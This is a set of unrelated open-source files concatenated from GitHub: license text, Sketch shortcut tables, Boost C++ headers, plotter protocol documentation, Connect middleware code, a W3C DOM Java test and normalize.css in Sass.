(3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - © 1989, 1991 by Jef Poskanzer. © 1997, 2000, 2002 by Greg Roelofs. Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided "as is" without express or implied warranty.
{ "pile_set_name": "Github" }
{ "id": "auto", "style": "css/h4dark.css", "layout": "default" } %%%END ### Sketch #### Insert | Shortcut | Action | | :-----: | :------ | | **A** | New Artboard | | **S** | Slice | | **R** | Rectangle | | **U** | Rounded Rectangle | | **O** | Oval | | **L** | Line | | **V** | Vector Point | | **P** | Pencil | | **T** | Text | #### Type | Shortcut | Action | | :-----: | :------ | | **xCMDB** | Bold | | **xCMDI** | Italic | | **xCMDU** | Underline | | **xOPTxCMD+** | Increase Font Size | | **xOPTxCMD-** | Decrease Font Size | | **xOPTxCTRLL** | Increase Character Spacing | | **xOPTxCTRLT** | Decrease Character Spacing | | **xCMDT** | Change Font | | **xSHIFTxCMDO** | Convert Text to Outlines | | **xCMDxSHIFT{** | Align Left | | **xCMDxSHIFT\\** | Align Center | | **xCMDxSHIFT}** | Align Right | | **xCTRLxCMDSpace** | Special Characters | #### Canvas View | Shortcut | Action | | :-----: | :------ | | **xCMD+** | Zoom In | | **xCMD-** | Zoom Out | | **xCMD0** | Actual Size | | **xCMD1** | Center Canvas | | **xCMD2** | Zoom Selection | | **xCMD3** | Center Selection | | **xOPTTab** | Focus on First Input Field** | | **xOPTG** | Temporary Zoom to Actual Size | | Shortcut | Action | | :-----: | :------ | | **xCTRLR** | Toggle Rulers | | **xCTRLG** | Toggle Grid | | **xCTRLL** | Toggle Layer Guides | | **xCTRLP** | Toggle Pixels | | **xCTRLH** | Toggle Selection Handles | | **xCTRLX** | Toggle Pixel Grid | | | | #### Window | Shortcut | Action | | :-----: | :------ | | **xCMD~** | Toggle between Documents | | **xOPTxCMD1** | Toggle Layers List | | **xOPTxCMD2** | Toggle Inspector | | **xOPTxCMD3** | Toggle Layers, Inspector | | **xOPTxCMDT** | Toggle Toolbar | | **xCMD.** | Presentation Mode | | **xCTRLxCMDF** | Enter Fullscreen | #### Editing Shapes | Shortcut | Action | | :-----: | :------ | | **xCMDxOPT** | Keep Current Selection | | **xCTRLxCMDM** | Use as Mask span (Works for Layers & Groups) | | **xOPTxCMDU** | Union | | **xOPTxCMDS** | Substract | | **xOPTxCMDI** | Intersect | | **xOPTxCMDX** | Difference | | **xCMD-Arrows** | Change Object Size | | **xSHIFTxCMD-Arrows** | Change Units by 10 | | **1, 2, 3, 4** | Change Vector Point Style | #### Editing Layers | Shortcut | Action | | :-----: | :------ | | **xOPT** | Show Distance to other Layers | | **xOPTxCMD** | Show Distance to other Layers inside Group | | **xOPTDrag** | Duplicate (Repeat with D) | | **xOPTxCMDC** | Copy Style | | **xOPTxCMDV** | Paste Style | | **xCTRLC** | Color Picker | | **xCMDT** | Transform | | **xSHIFTxCMDR** | Rotate | | **F** | Toggle Fill | | **B** | Toggle Border | #### Arranging Layers, Groups and Artboards | Shortcut | Action | | :-----: | :------ | | **xOPTxCMD** | Bring Forward | | **xCTRLxOPTxCMD** | Bring to Front | | **xOPTxCMD** | Send Backward | | **xCTRLxOPTxCMD** | Sent to Back | | **xSHIFTxCMDH** | Hide | | **xSHIFTxCMDL** | Lock | | **xCMDR** | Rename | | **xCMDG** | Group Layers | | **xSHIFTxCMDG** | Ungroup Layers | | **xSHIFTTab** | Select Above Layer | | **Tab** | Select Layer Below | | **Esc** | Select Parent Artboard | | **xCMDF** | Find Layer by Name | | **Fn + ** | Select Above Page | | **Fn + ** | Select Page Below | ### Creating Custom Shortcuts To create your own custom shortcuts, go to Keyboard in your System Preferences and click the Shortcuts tab. Select App Shortcuts and click + to create a new shortcut. Choose Sketch from the Application list, then enter the exact name of the menu item you want to create the shortcut for. Finally choose your own shortcut combination and youre all set. #### Useful Custom Shortcuts | Shortcut | Action | | :-----: | :------ | | **xOPTxCMD (+) +** | Maximize Window (Use Zoom as Menu Title) | | **xCMD[** | Align Vertically Center | | **xCMD]** | Align Horizontally Center | | **xOPTxCMDC** | Collapse Groups and Artboards | > Source: [Sketch Shortcuts](http://sketchshortcuts.com/)
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_AUX_ITER_FOLD_BACKWARD_IMPL_HPP_INCLUDED #define BOOST_MPL_AUX_ITER_FOLD_BACKWARD_IMPL_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #if !defined(BOOST_MPL_PREPROCESSING_MODE) # include <boost/mpl/next_prior.hpp> # include <boost/mpl/apply.hpp> # include <boost/mpl/aux_/config/ctps.hpp> # if defined(BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION) \ || defined(BOOST_MPL_CFG_NO_NONTYPE_TEMPLATE_PARTIAL_SPEC) # include <boost/mpl/if.hpp> # include <boost/type_traits/is_same.hpp> # endif #endif #include <boost/mpl/aux_/config/use_preprocessed.hpp> #if !defined(BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS) \ && !defined(BOOST_MPL_PREPROCESSING_MODE) # define BOOST_MPL_PREPROCESSED_HEADER reverse_iter_fold_impl.hpp # include <boost/mpl/aux_/include_preprocessed.hpp> #else # define AUX778076_FOLD_IMPL_OP(iter) iter # define AUX778076_FOLD_IMPL_NAME_PREFIX reverse_iter_fold # include <boost/mpl/aux_/reverse_fold_impl_body.hpp> #endif // BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS #endif // BOOST_MPL_AUX_ITER_FOLD_BACKWARD_IMPL_HPP_INCLUDED
{ "pile_set_name": "Github" }
1E400: 1E401: 1E402: 1E403: 1E404: 1E405: 1E406: 1E407: 1E408: 1E409: 1E40A: 1E40B: 1E40C: 1E40D: 1E40E: 1E40F: 1E410: 1E411: 1E412: 1E413: 1E414: 1E415: 1E416: 1E417: 1E418: 1E419: 1E41A: 1E41B: 1E41C: 1E41D: 1E41E: 1E41F: 1E420: 1E421: 1E422: 1E423: 1E424: 1E425: 1E426: 1E427: 1E428: 1E429: 1E42A: 1E42B: 1E42C: 1E42D: 1E42E: 1E42F: 1E430: 1E431: 1E432: 1E433: 1E434: 1E435: 1E436: 1E437: 1E438: 1E439: 1E43A: 1E43B: 1E43C: 1E43D: 1E43E: 1E43F: 1E440: 1E441: 1E442: 1E443: 1E444: 1E445: 1E446: 1E447: 1E448: 1E449: 1E44A: 1E44B: 1E44C: 1E44D: 1E44E: 1E44F: 1E450: 1E451: 1E452: 1E453: 1E454: 1E455: 1E456: 1E457: 1E458: 1E459: 1E45A: 1E45B: 1E45C: 1E45D: 1E45E: 1E45F: 1E460: 1E461: 1E462: 1E463: 1E464: 1E465: 1E466: 1E467: 1E468: 1E469: 1E46A: 1E46B: 1E46C: 1E46D: 1E46E: 1E46F: 1E470: 1E471: 1E472: 1E473: 1E474: 1E475: 1E476: 1E477: 1E478: 1E479: 1E47A: 1E47B: 1E47C: 1E47D: 1E47E: 1E47F: 1E480: 1E481: 1E482: 1E483: 1E484: 1E485: 1E486: 1E487: 1E488: 1E489: 1E48A: 1E48B: 1E48C: 1E48D: 1E48E: 1E48F: 1E490: 1E491: 1E492: 1E493: 1E494: 1E495: 1E496: 1E497: 1E498: 1E499: 1E49A: 1E49B: 1E49C: 1E49D: 1E49E: 1E49F: 1E4A0: 1E4A1: 1E4A2: 1E4A3: 1E4A4: 1E4A5: 1E4A6: 1E4A7: 1E4A8: 1E4A9: 1E4AA: 1E4AB: 1E4AC: 1E4AD: 1E4AE: 1E4AF: 1E4B0: 1E4B1: 1E4B2: 1E4B3: 1E4B4: 1E4B5: 1E4B6: 1E4B7: 1E4B8: 1E4B9: 1E4BA: 1E4BB: 1E4BC: 1E4BD: 1E4BE: 1E4BF: 1E4C0: 1E4C1: 1E4C2: 1E4C3: 1E4C4: 1E4C5: 1E4C6: 1E4C7: 1E4C8: 1E4C9: 1E4CA: 1E4CB: 1E4CC: 1E4CD: 1E4CE: 1E4CF: 1E4D0: 1E4D1: 1E4D2: 1E4D3: 1E4D4: 1E4D5: 1E4D6: 1E4D7: 1E4D8: 1E4D9: 1E4DA: 1E4DB: 1E4DC: 1E4DD: 1E4DE: 1E4DF: 1E4E0: 1E4E1: 1E4E2: 1E4E3: 1E4E4: 1E4E5: 1E4E6: 1E4E7: 1E4E8: 1E4E9: 1E4EA: 1E4EB: 1E4EC: 1E4ED: 1E4EE: 1E4EF: 1E4F0: 1E4F1: 1E4F2: 1E4F3: 1E4F4: 1E4F5: 1E4F6: 1E4F7: 1E4F8: 1E4F9: 1E4FA: 1E4FB: 1E4FC: 1E4FD: 1E4FE: 1E4FF:
{ "pile_set_name": "Github" }
This file contains information about the Houston Instruments DP-3-5 flatbed plotter and the PTC-5A-3 terminal interface at the Plasma Fusion Center. The plotter is a standard flatbed plotter. Unlimited X motion is provided by moving the paper between take-up reels on either side of the machine. 22 inches of Y motion is provided by moving the pen perpendicular to the direction of paper motion. Steping motors provide incremental steps of 0.005 inches in X and Y directions. The interface accepts ASCII characters from a modem and sends appropriate pen-movement commands to the plotter. It also contains a firmware character generator so that symbols can be easily plotted. Basic Theory of Operation ------------------------- The terminal interface acts as a two-way multiplexer between the plotter and a regular terminal to the modem. ----------- -------------- --------- Ma Bell | | | | | | -----<-->----| modem |-<-->-| interface |--<-->--| tty | | | | | | | ----------- -------------- --------- | | -------------- | | | ------>------| plotter | | | -------------- Initially the interface passes characters to and from the tty. This enables you to log in to the system and get set up as if the plotter was not present. The interface passes all characters to the tty until it sees the two character sequence "<SEMI-COLON><COLON>" from the host computer. [Yes, this is a crock, but there's not much we can do about it.] All subsequent characters are treated as plotting commands until the command to leave graphics mode arrives. This is described below. The interface contains a 1024 byte buffer for characters to the plotter. When plotting, the interface expects a non-standard sort of ACK/NACK protocol (described below) to be used. Communication Protocol ---------------------- Data is transmitted to the interface in block lengths of 96 characters. (This is suggested - perhaps some experimentation is called for, as the maximum length is 480 characters.) <LF> (012 octal) must be used as a delimiter following the block. After a block is transmitted, the acknowledge sequence is started by the host transmitting <XON> (021 octal). The PTC-5A responds with either "1<CR>" (CR will be 215 octal) for positive response, or "0<CR>" for negative response. A negative response indicates that an error was detected in the last block of data, and it should be sent again, a positive response indicates the block of data was received without detected errors, and memory is available for the next block. A <LF> from the host must terminate the acknowledge sequence. Command Characters ------------------ Vector Multiply "?" (077 octal) This character is followed by a number encoded into ASCII as follows : (+ N 77) ; where 1 <= N <= 29. All subsequent vectors (including those used to draw characters) will be repeated this number of times. This number will remain constant until this command is issued again with a different multiplier. Pen Up "^" (136 octal) This raises the pen. Pen Down ">" (076 octal) This lowers the pen. New Pen "]" (135 octal) Select a new pen on a multi-pen instrument. We don't have this. Symbol Mode "=" (075 octal) Causes the plotter to enter symbol mode. The next character gives the rotation of the symbols relative to the X axis : "0" = 180 degrees "1" = 0 degrees "2" = 90 degrees "3" = 270 degrees Following this, legal ASCII symbols are drawn until symbol mode is exited. (See below for legal symbols.) In addition to the 62 legal ASCII symbols, there are 14 special characters suited to labelling points on graphs. These are selected by using the alternate rotation codes : "@" = 180 degrees "A" = 0 degrees "B" = 90 degrees "C" = 270 degrees Exit Symbol Mode and "_" (137 octal) End Plotting If the plotter is in symbol mode this causes it to return to vector mode. If the plotter is in vector mode, this causes the interface to stop plotting and start sending characters to the tty again. Vector Mode ----------- This is the default mode of the plotter. All vectors, whether the pen is up or down are relative to the present pen position. DX and DY have a maximum magnitude of 28 (decimal) steps without using the vector multiply. One ASCII character is sent for DX, then one for DY. The encoding for both is : (+ (abs D) (if (minusp D) 40 100)) where D is either DX or DY. (40 and 100 are octal, of course.) It is always necessary to supply both DX and DY, even when one is zero. For drawing long vectors, especially with the pen up, the use of repeat counts can save sending large numbers of characters. Symbol Mode ----------- Symbols are generated on a 7 steps high, by 6 steps wide matrix. Scaling the size of the symbol is done by using the vector repeat counter before entering symbol mode. The allowable ASCII characters are 40 to 135 octal. This includes uppercase letters, numerals, and some symbols. To plot a string of symbols (e.g. a title) simply supply all the symbols in sequence. Pen up, pen down, and spacing between the letters is done by the interface firmware. The fourteen special characters are selected with ASCII @ through M (100 to 115 octal) after using the alternate rotation commands to get them. Some are a bit hard to describe, but to get some idea : "@" square "A" octagon "B" triangle "C" plus-sign "D" X "E" diamond "F" arrow (up) "G" X with a bar across the top "H" Z "I" Y "J" square with diagonal lines out from corners "K" star "L" X with bars across top and bottom "M" vertical bar
{ "pile_set_name": "Github" }
// (C) Copyright Tobias Schwinger // // Use modification and distribution are subject to the boost Software License, // Version 1.0. (See http://www.boost.org/LICENSE_1_0.txt). //------------------------------------------------------------------------------ // no include guards, this file is guarded externally #ifdef __WAVE__ // this file has been generated from the master.hpp file in the same directory # pragma wave option(preserve: 0) #endif #if !defined(BOOST_PP_VALUE) # include <boost/preprocessor/slot/slot.hpp> # include <boost/preprocessor/iteration/self.hpp> # include <boost/function_types/detail/encoding/def.hpp> # include <boost/function_types/detail/encoding/aliases_def.hpp> namespace boost { namespace function_types { namespace detail { template<class Tag, class RefTag> struct selector_bits { # define BOOST_PP_VALUE non_member|member|non_variadic|variadic # include BOOST_PP_ASSIGN_SLOT(1) BOOST_STATIC_CONSTANT(bits_t, value = ( (::boost::function_types::detail::bits<Tag>::value & BOOST_FT_default_cc) | (::boost::function_types::detail::bits<RefTag>::value & BOOST_PP_SLOT(1)) )); }; template<bits_t SelectorBits> struct default_cc_tag; template<class Tag, class RefTag> struct retag_default_cc : detail::compound_tag < Tag, detail::default_cc_tag< ::boost::function_types::detail::selector_bits<Tag,RefTag>::value > > { }; template<bits_t SelectorBits> struct default_cc_tag { typedef null_tag::bits bits; typedef null_tag::mask mask; }; class test_class; typedef constant<BOOST_FT_cc_mask> cc_mask_constant; # define BOOST_FT_self \ <boost/function_types/detail/pp_retag_default_cc/master.hpp> # define default_cc_ BOOST_FT_default_cc # define BOOST_PP_VALUE default_cc_|non_member|non_variadic # define BOOST_FT_tester void (*tester)() # define BOOST_PP_INDIRECT_SELF BOOST_FT_self # include BOOST_PP_INCLUDE_SELF() # define BOOST_PP_VALUE default_cc_|non_member|variadic # define BOOST_FT_tester void (*tester)(...) # define BOOST_PP_INDIRECT_SELF BOOST_FT_self # include BOOST_PP_INCLUDE_SELF() # define BOOST_PP_VALUE default_cc_|member|non_variadic # define BOOST_FT_tester void (test_class::*tester)() # define BOOST_PP_INDIRECT_SELF BOOST_FT_self # include BOOST_PP_INCLUDE_SELF() # define BOOST_PP_VALUE default_cc_|member|variadic # define BOOST_FT_tester void (test_class::*tester)(...) # define BOOST_PP_INDIRECT_SELF BOOST_FT_self # include BOOST_PP_INCLUDE_SELF() # undef default_cc_ # undef BOOST_FT_self } } } // namespace ::boost::function_types::detail # include <boost/function_types/detail/encoding/aliases_undef.hpp> # include <boost/function_types/detail/encoding/undef.hpp> #else // if defined(BOOST_PP_VALUE) # include BOOST_PP_ASSIGN_SLOT(1) template<> struct default_cc_tag<BOOST_PP_SLOT(1)> { typedef BOOST_FT_tester; typedef mpl::bitand_<components<tester>::bits,cc_mask_constant> bits; typedef cc_mask_constant mask; }; # undef BOOST_FT_tester #endif
{ "pile_set_name": "Github" }
17 16 22 13 17 15 15 20 13 18 22 15 15 15 13 13 19 14 12 13 13 11 17 13 19 13 15 15 15 13 13 20 18 12 14 13 14 18 16 17 14 13 15 13 15 13 14 17 17 15 14 16 12 11 13 13 13 18 15 13 17 13 13 15 13 15 12 12 16 15 14 13 19 15 19 14 15 17 13 20 17 13 13 18 11 12 15 15 18 13 20 15 13 17 15 21 13 19 18 15 13 17 17 12 14 21 13 19 15 20 13 18 17 15 13 12 16 19 18 16 15 15 17 13 15 21 15 18 17 14 13 14 13 17 15 14 15 15 15 14 13 14 12 17 13 19 13 21 16 7 14 14 22 12 14 13 13 16 12 15 13 12 15 13 16 13 17 13 16 13 14 15 15 40 17 15 13 13 15 15 15 14 14 15 13 12 15 16 13 14 15 17 14 13 19 13 16 15 11 14 19 17 18 17 16 19 18 13 14 14 15 15 15 12 15 22 14 13 13 15 13 16 15 17 17 16 15 16 19 18 15 18 14 20 14 15 13 17 18 16 15 15 16 17 15 13 19 17 17 14 20 12 15 11 17 9 15 19 16 15 13 15 16 15 13 13 13 16 16 18 13 16 15 13 16 15 19 15 15 11 13 13 16 17 13 14 14 17
{ "pile_set_name": "Github" }
/*! * Connect - HTTPServer * Copyright(c) 2010 Sencha Inc. * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Module dependencies. */ var http = require('http') , utils = require('./utils') , debug = require('debug')('connect:dispatcher'); // prototype var app = module.exports = {}; // environment var env = process.env.NODE_ENV || 'development'; /** * Utilize the given middleware `handle` to the given `route`, * defaulting to _/_. This "route" is the mount-point for the * middleware, when given a value other than _/_ the middleware * is only effective when that segment is present in the request's * pathname. * * For example if we were to mount a function at _/admin_, it would * be invoked on _/admin_, and _/admin/settings_, however it would * not be invoked for _/_, or _/posts_. * * Examples: * * var app = connect(); * app.use(connect.favicon()); * app.use(connect.logger()); * app.use(connect.static(__dirname + '/public')); * * If we wanted to prefix static files with _/public_, we could * "mount" the `static()` middleware: * * app.use('/public', connect.static(__dirname + '/public')); * * This api is chainable, so the following is valid: * * connect() * .use(connect.favicon()) * .use(connect.logger()) * .use(connect.static(__dirname + '/public')) * .listen(3000); * * @param {String|Function|Server} route, callback or server * @param {Function|Server} callback or server * @return {Server} for chaining * @api public */ app.use = function(route, fn){ // default route to '/' if ('string' != typeof route) { fn = route; route = '/'; } // wrap sub-apps if ('function' == typeof fn.handle) { var server = fn; fn.route = route; fn = function(req, res, next){ server.handle(req, res, next); }; } // wrap vanilla http.Servers if (fn instanceof http.Server) { fn = fn.listeners('request')[0]; } // strip trailing slash if ('/' == route[route.length - 1]) { route = route.slice(0, -1); } // add the middleware debug('use %s %s', route || '/', fn.name || 'anonymous'); this.stack.push({ route: route, handle: fn }); return this; }; /** * Handle server requests, punting them down * the middleware stack. * * @api private */ app.handle = function(req, res, out) { var stack = this.stack , fqdn = ~req.url.indexOf('://') , removed = '' , slashAdded = false , index = 0; function next(err) { var layer, path, status, c; if (slashAdded) { req.url = req.url.substr(1); slashAdded = false; } req.url = removed + req.url; req.originalUrl = req.originalUrl || req.url; removed = ''; // next callback layer = stack[index++]; // all done if (!layer || res.headerSent) { // delegate to parent if (out) return out(err); // unhandled error if (err) { // default to 500 if (res.statusCode < 400) res.statusCode = 500; debug('default %s', res.statusCode); // respect err.status if (err.status) res.statusCode = err.status; // production gets a basic error message var msg = 'production' == env ? http.STATUS_CODES[res.statusCode] : err.stack || err.toString(); // log to stderr in a non-test env if ('test' != env) console.error(err.stack || err.toString()); if (res.headerSent) return req.socket.destroy(); res.setHeader('Content-Type', 'text/plain'); res.setHeader('Content-Length', Buffer.byteLength(msg)); if ('HEAD' == req.method) return res.end(); res.end(msg); } else { debug('default 404'); res.statusCode = 404; res.setHeader('Content-Type', 'text/plain'); if ('HEAD' == req.method) return res.end(); res.end('Cannot ' + req.method + ' ' + utils.escape(req.originalUrl)); } return; } try { path = utils.parseUrl(req).pathname; if (undefined == path) path = '/'; // skip this layer if the route doesn't match. if (0 != path.toLowerCase().indexOf(layer.route.toLowerCase())) return next(err); c = path[layer.route.length]; if (c && '/' != c && '.' != c) return next(err); // Call the layer handler // Trim off the part of the url that matches the route removed = layer.route; req.url = req.url.substr(removed.length); // Ensure leading slash if (!fqdn && '/' != req.url[0]) { req.url = '/' + req.url; slashAdded = true; } debug('%s', layer.handle.name || 'anonymous'); var arity = layer.handle.length; if (err) { if (arity === 4) { layer.handle(err, req, res, next); } else { next(err); } } else if (arity < 4) { layer.handle(req, res, next); } else { next(); } } catch (e) { next(e); } } next(); }; /** * Listen for connections. * * This method takes the same arguments * as node's `http.Server#listen()`. * * HTTP and HTTPS: * * If you run your application both as HTTP * and HTTPS you may wrap them individually, * since your Connect "server" is really just * a JavaScript `Function`. * * var connect = require('connect') * , http = require('http') * , https = require('https'); * * var app = connect(); * * http.createServer(app).listen(80); * https.createServer(options, app).listen(443); * * @return {http.Server} * @api public */ app.listen = function(){ var server = http.createServer(this); return server.listen.apply(server, arguments); };
{ "pile_set_name": "Github" }
/* This Java source file was generated by test-to-java.xsl and is a derived work from the source document. The source document contained the following notice: Copyright (c) 2001 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. This program is distributed under the W3C's Software Intellectual Property License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See W3C License http://www.w3.org/Consortium/Legal/ for more details. */ package org.w3c.domts.level2.core; import org.w3c.dom.*; import org.w3c.domts.DOMTestCase; import org.w3c.domts.DOMTestDocumentBuilderFactory; /** * The "feature" parameter in the * isSupported(feature,version)" method is the name * of the feature and the version is the version number of the * feature to test. XML is a legal value for the feature parameter * (Test for xml, lower case). * Legal values for the version parameter are 1.0 and 2.0 * (Test for 1.0). * * Retrieve the root node of the DOM document by invoking * the "getDocumentElement()" method. This should create a * node object on which the "isSupported(feature,version)" * method is invoked with "feature" equal to "xml" and the version equal to 1.0. * The method should return a boolean "true". * @author NIST * @author Mary Brady * @see <a href="http://www.w3.org/TR/DOM-Level-2-Core/core#Level-2-Core-Node-supports">http://www.w3.org/TR/DOM-Level-2-Core/core#Level-2-Core-Node-supports</a> */ public final class isSupported04 extends DOMTestCase { /** * Constructor. * @param factory document factory, may not be null * @throws org.w3c.domts.DOMTestIncompatibleException Thrown if test is not compatible with parser configuration */ public isSupported04(final DOMTestDocumentBuilderFactory factory) throws org.w3c.domts.DOMTestIncompatibleException { super(factory); // // check if loaded documents are supported for content type // String contentType = getContentType(); preload(contentType, "staff", false); } /** * Runs the test case. * @throws Throwable Any uncaught exception causes test to fail */ public void runTest() throws Throwable { Document doc; Node rootNode; boolean state; doc = (Document) load("staff", false); rootNode = doc.getDocumentElement(); state = rootNode.isSupported("xml", "1.0"); assertTrue("throw_True", state); } /** * Gets URI that identifies the test. * @return uri identifier of test */ public String getTargetURI() { return "http://www.w3.org/2001/DOM-Test-Suite/level2/core/isSupported04"; } /** * Runs this test from the command line. * @param args command line arguments */ public static void main(final String[] args) { DOMTestCase.doMain(isSupported04.class, args); } }
{ "pile_set_name": "Github" }
/*! normalize.css v2.1.3 | MIT License | git.io/normalize */ article aside details figcaption figure footer header hgroup main nav section summary display: block audio, canvas, video display: inline-block audio:not([controls]) display: none height: 0 [hidden], template display: none html font-family: sans-serif -ms-text-size-adjust: 100% -webkit-text-size-adjust: 100% body margin: 0 a background: transparent a:focus outline: thin dotted a:active, a:hover outline: 0 abbr[title] border-bottom: 1px dotted dfn font-style: italic hr -moz-box-sizing: content-box box-sizing: content-box height: 0 mark background: #ff0 color: #000 code, kbd, pre, samp font-family: monospace, serif font-size: 1em pre white-space: pre-wrap q quotes: "\201C" "\201D" "\2018" "\2019" small font-size: 80% sub, sup font-size: 75% line-height: 0 position: relative vertical-align: baseline sup top: -0.5em sub bottom: -0.25em img border: 0 svg:not(:root) overflow: hidden figure margin: 0 fieldset border: 1px solid #c0c0c0 margin: 0 2px padding: 0.35em 0.625em 0.75em legend border: 0 padding: 0 button, input, select, textarea font-family: inherit font-size: 100% margin: 0 button, input line-height: normal button, select text-transform: none button, html input[type="button"], input[type="reset"], input[type="submit"] -webkit-appearance: button cursor: pointer button[disabled], html input[disabled] cursor: default input[type="checkbox"], input[type="radio"] box-sizing: border-box padding: 0 input[type="search"] -webkit-appearance: textfield -moz-box-sizing: content-box -webkit-box-sizing: content-box box-sizing: content-box input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration -webkit-appearance: none button::-moz-focus-inner, input::-moz-focus-inner border: 0 padding: 0 textarea overflow: auto vertical-align: top table border-collapse: collapse border-spacing: 0
{ "pile_set_name": "Github" }
// Copyright Oliver Kowalke 2009. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_CONTEXT_DETAIL_FCONTEXT_PPC_H #define BOOST_CONTEXT_DETAIL_FCONTEXT_PPC_H #include <cstddef> #include <boost/config.hpp> #include <boost/cstdint.hpp> #include <boost/context/detail/config.hpp> #ifdef BOOST_HAS_ABI_HEADERS # include BOOST_ABI_PREFIX #endif namespace boost { namespace context { extern "C" { #define BOOST_CONTEXT_CALLDECL struct stack_t { void * sp; std::size_t size; stack_t() : sp( 0), size( 0) {} }; struct fp_t { boost::uint64_t fc_freg[19]; fp_t() : fc_freg() {} }; struct fcontext_t { # if defined(__powerpc64__) boost::uint64_t fc_greg[23]; # else boost::uint32_t fc_greg[23]; # endif stack_t fc_stack; fp_t fc_fp; fcontext_t() : fc_greg(), fc_stack(), fc_fp() {} }; } }} #ifdef BOOST_HAS_ABI_HEADERS # include BOOST_ABI_SUFFIX #endif #endif // BOOST_CONTEXT_DETAIL_FCONTEXT_PPC_H
{ "pile_set_name": "Github" }
